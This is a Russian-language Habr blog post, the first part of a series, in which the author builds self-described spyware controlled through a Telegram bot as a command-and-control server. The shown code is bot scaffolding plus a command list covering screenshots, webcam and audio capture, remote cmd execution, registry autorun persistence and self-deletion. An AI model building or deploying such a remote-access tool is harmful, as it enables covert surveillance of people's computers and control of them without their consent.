Введение

Hello Habr! Хотел найти приложение, позволяющее отслеживать работу своих компютеров, но испугался что кто-то сможет следить за мной через их. Поэтому решил разработать его сам, изначально ПО было похоже на приложение для родительского контроля, но после добавления новых модулей получилось SpyWare, поэтому оставлю это здесь.

Дисклеймер
Дисклеймер

Чат-бот в telegram

Ну что же, чтобы наша программа могла получать и контролировать выполнение задач нам нужен С2 (Command and Control) сервер.
Первоначально я думал написать какой-нибудь интерфейс на Django или Flask для управления ПО и развернуть все это через Xampp, Open Server или еще что-нибудь (способов достаточно), чтобы можно было управлять не только через локальную сеть.
Но для этого нужно было бы постоянно оставлять включенным сервер, можно было бы просто развернуть все это на Raspberry Pi, но зачем нам эти трудности, если можно сделать все проще через telegram, который работает 24/7 и ничего не нужно поднимать. =)

На просторах интернета существуют миллионы гайдов на эту тему (один из них ссылку), поэтому не будем вдаваться в подробности, а быстренько получим уникальный ID, являющийся одновременно и токеном нашего бота от @BotFather и наш ID, чтобы бот мог писать нам при активации, его можно получить либо тут @IDBot либо тут @userinfobot.
Просто заходим и пишем /start.

Теперь создадим файл tg_config.py в корне проекта и добавим полученные ранее ID, конечно можно было добавить наши ID в переменные окружения (кто хочет, может так и сделать, вот туториал), но я решил оставить все на поверхности для простоты.

BOT_TOKEN = 'IDfrom@BotFather'
# IDfrom@IDBot
admin_id = 123456789

Настало время разработки, создаем dispatcher.py.

import logging
from aiogram import Bot, Dispatcher
from aiogram.contrib.middlewares.logging import LoggingMiddleware
from tg_config import BOT_TOKEN

logging.basicConfig(level=logging.INFO)

if not BOT_TOKEN:
    exit("No token provided")

bot = Bot(token=BOT_TOKEN, parse_mode="HTML")
dp = Dispatcher(bot)

dp.middleware.setup(LoggingMiddleware())

Здесь мы делаем проверку на наличие нашего токена, для связи с нашим ботом.
Инициализируем объекты бота и диспетчера и настраиваем логирование, для удобной отладки в процессе разработки.

Теперь handlers.py который отвечает за все наши обработчики, как понятно из названия.
Он будет обновляться каждый раз, когда мы будем добавлять новый функционал.

import os
import asyncio
import modules
from aiogram import types
from tg_config import admin_id
from tg.dispatcher import dp
from tg.utils import reply_handler

from aiogram.utils.exceptions import MessageTextIsEmpty, CantParseEntities


async def activate():
    await dp.bot.send_message(admin_id, "✔️ Ur system started!")


try:
    loop = asyncio.get_event_loop()
    loop.run_until_complete(activate())
except DeprecationWarning:
    pass


@dp.message_handler(commands="help")
async def support(message: types.Message):
    await message.answer(
        f'\nCommand List:\n'
        f'/check - Checking System Status\n'
        f'/pc_info - System characteristics\n'
        f'/con_info - Connection characteristics\n'
        f'/proc_info - List of running processes\n'
        f'/wifi_info - Information about Wi-Fi connections\n'
        f'/pub_ip_info - Information about public IP address\n'
        f'/screen - Desktop screenshot\n'
        f'/webcam_screen - Webcam screen\n'
        f'/audio n - (n - count of seconds)Record sound from voice recorder for 5 seconds by default\n'
        f'/exec c - (c - command) Execute command in cmd\n'
        f'/reg_autorun - Append programme to registry\n'
        f'/del_autorun - Delete programme from registry\n'
        f'/exit - Shutting down the program before reboot\n'
        f'/destroy - Delete the program from the computer\n'
    )

Я решил не заморачиваться и выкладываю сразу часть финального кода хэндлера, чтобы не напоминать добавить вам одну строчку, после добавления нового функционала, да и чтоб самому не забыть. =)

В начале пишем метод activate(), который будет вызываться при запуске нашего ПО и сигнализировать нам о начале сеанса.
Далее создаем цикл событий и запускаем его, он будет работать до того момента, пока не отработает наш метод activate().
Ну и добавляем наш первый хэндлер, который будет выводить список и описание доступных команд.

Ну и в конце создаем main.py, который будет запускать нашего бота.

from aiogram.utils import executor
from tg.dispatcher import dp

from tg import handlers

if __name__ == "__main__":
    executor.start_polling(dp, skip_updates=True)

Заключение

В этой части мы разработали нашего бота, который будет помогать нам контролировать и следить за результатами нашего ПО.
Также оставлю ссылку на проект и благодарю за уделенное мне время и не судите строго, я только начинаю учиться писать статьи.
На этом первая часть подходит к концу, а самое интересное еще впереди. =)

Комментарии (1)


  1. s-a-u-r-o-n
    16.09.2023 20:32

    Автор заново изобрёл велосипед BackOrifice. Как говорится, всё новое — хорошо забытое старое.